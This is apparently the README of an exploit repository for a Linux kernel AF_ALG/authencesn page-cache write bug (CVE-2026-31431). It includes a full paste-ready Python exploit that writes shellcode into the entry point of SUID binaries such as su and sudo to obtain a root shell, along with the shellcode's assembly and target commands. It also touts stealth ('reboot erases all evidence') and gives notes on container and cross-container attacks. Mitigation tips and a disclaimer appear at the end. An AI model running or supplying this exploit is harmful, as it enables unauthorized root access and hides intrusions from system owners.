Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation
Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.
CVE-2026-31431 is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing splice() + authencesn in-place decryption, an unprivileged user can write 4 bytes at an arbitrary offset in the kernel's page cache — the same cache used for all file-backed memory.
This means:
- No race conditions — single-threaded, deterministic
- No special privileges — works inside default Docker containers (seccomp allows AF_ALG)
- No kernel version dependency — affects all kernels from 2017 to present
- Modifies files in memory only — disk is untouched, reboot erases all traces
This repository provides three tools using the same AF_ALG copy-fall primitive:
| Dynamic Entry Point | Full Binary Replace | Vuln Checker | |
|---|---|---|---|
| File | exploit.py |
poc_compatible.py |
check_cve.sh |
| Strategy | Overwrites ELF entry point with shellcode | Replaces entire binary from offset 0 | Tests if target is vulnerable |
| Target | Any x86_64 SUID binary | Any binary (SUID or not) | N/A |
| Python | 3.x (all versions) | 2 / 3 | Bash |
| Payload | 36 bytes shellcode | zlib-compressed full ELF | N/A |
| Author | This work | h4ppy7ree | h4ppy7ree |
Dynamic entry point — Parses the ELF header at runtime to calculate the entry point file offset (p_offset + (e_entry - p_vaddr)), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.
Full binary replace — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.
Vulnerability checker — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.
- Linux kernel (any version since ~2017)
- Python 3.x (for
exploit.py; Python 2 supported viapoc_compatible.py) - Any SUID-root binary (
/usr/bin/su,/usr/bin/sudo, etc.)
# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'Then inside the container as testuser:
# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)
# Run the exploit
python3 exploit.py /usr/local/bin/verify
# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)In real scenarios you often only have a raw shell — no scp, no curl, no wget. This method uses cat heredoc to write the exploit directly in terminal:
# Option 1: run the shell script
sh exploit-one-liner.sh /usr/local/bin/verify
# Option 2: paste directly into terminal (copy the entire block)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verifyWhy this matters: Container environments often lack file transfer tools (
scp,curl,wget). The heredoc method requires onlycatandpython3— available everywhere.
You can replace /usr/local/bin/verify with any SUID-root binary:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Warning: Targeting system SUID binaries (like/usr/bin/su) affects all users on the system. The binary becomes unusable until page cache is cleared. On the host machine, any user runningsuwould get a root shell.On a shared/production system, this is immediately noticeable —
suwill crash or spawn unexpected shells for everyone. Useverify.cfor safe testing.
The exploit only modifies page cache (memory), not disk. Recovery options:
| Method | Where | Command |
|---|---|---|
| Drop page cache | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Reboot | Anywhere | reboot — page cache is volatile |
| Container destroyed | Anywhere | docker rm — page cache released with container |
# On the host (after container testing):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Verify recovery:
xxd -l 8 /usr/bin/su
# Should show: 7f45 4c46 (.ELF)Note: Inside a default (non-privileged) container,
echo 3 > /proc/sys/vm/drop_cachesfails withRead-only file system— this requires host access or container destruction.
| Vector | Works? | Details |
|---|---|---|
| LPE (local user → root) | ✅ Yes | Overwrite SUID binary entry point |
| Container escape (default) | ❌ No | overlayfs per-mount page cache isolation |
| Container escape (host write) | ✅ Yes | Write via /proc/PID/root/ from host |
| Cross-container (host write) | ✅ Yes | Same inode → shared lower-layer page cache |
The kernel's authencesn AEAD algorithm has a bug in its in-place decryption path:
- User creates an
AF_ALGsocket withauthencesn(hmac(sha256), cbc(aes)) - User calls
splice()to feed file data into the crypto socket — this maps page cache pages directly into the kernel's scatterlist - During decryption,
authencesnwrites 4 bytes ofseqno_loafter the authentication tag - By controlling the associated data length and IV layout, the attacker controls where those 4 bytes land
Result: 4-byte arbitrary write to any page-cached file.
┌─────────────────────────────────────────────────────┐
│ ELF Binary (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF Header │ e_entry = 0x4013f0 │
│ │ │ ← parse dynamically │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← calculated file offset │
│ │ orig code │ │
│ │ │ ─── copy fall writes ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode → setuid(0) succeeds → root shell.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; filename
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)36 bytes, 9 copy-fall writes (4 bytes each).
Default Docker containers are not protected from this:
| Protection | Status |
|---|---|
| Seccomp | ✅ AF_ALG allowed by default |
| User namespaces | ❌ Not used in default Docker |
| AppArmor/SELinux | ❌ Does not restrict AF_ALG |
| Capability dropping | ❌ No special caps needed |
The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).
- Disk is never modified — page cache writes are memory-only
- No new files created — exploit is a single Python script
- No kernel module loaded — pure syscall abuse
- Reboot erases all evidence — page cache is volatile
Every Linux kernel since the algif_aead in-place conversion (merged ~2017), including:
- Ubuntu 18.04 / 20.04 / 22.04 / 24.04
- Debian 10 / 11 / 12
- RHEL 8 / 9
- CentOS Stream
- Amazon Linux 2 / 2023
- Docker containers (default seccomp profile)
- Kubernetes pods (default configurations)
- WSL2 (confirmed)
.
├── exploit.py # Dynamic ELF entry point overwrite (Python 3.x)
├── exploit-one-liner.sh # Paste-friendly version (no file transfer needed)
├── poc_compatible.py # Full ELF binary overwrite from offset 0 (Python 2/3, by h4ppy7ree)
├── poc_ctypes.py # ctypes splice for Python 3.0-3.9 (by h4ppy7ree)
├── check_cve.sh # Vulnerability checker (by h4ppy7ree)
├── verify/
│ └── verify.c # SUID verification program for testing
└── README.md # This file
- Apply kernel patch — upstream fix available
- Seccomp: Block
AF_ALGdomain (socket(AF_ALG, ...)→errno) - AppArmor: Deny
af_algsocket creation - Kernel hardening:
CONFIG_CRYPTO_USER_API_AEAD=n - Monitoring: Audit
socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)syscalls
- Vulnerability discovery: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
- Dynamic offset calculation & universal exploit: This work
- Full binary replace approach & vulnerability checker: h4ppy7ree (PR #1)
This exploit is provided for authorized security research and educational purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.
MIT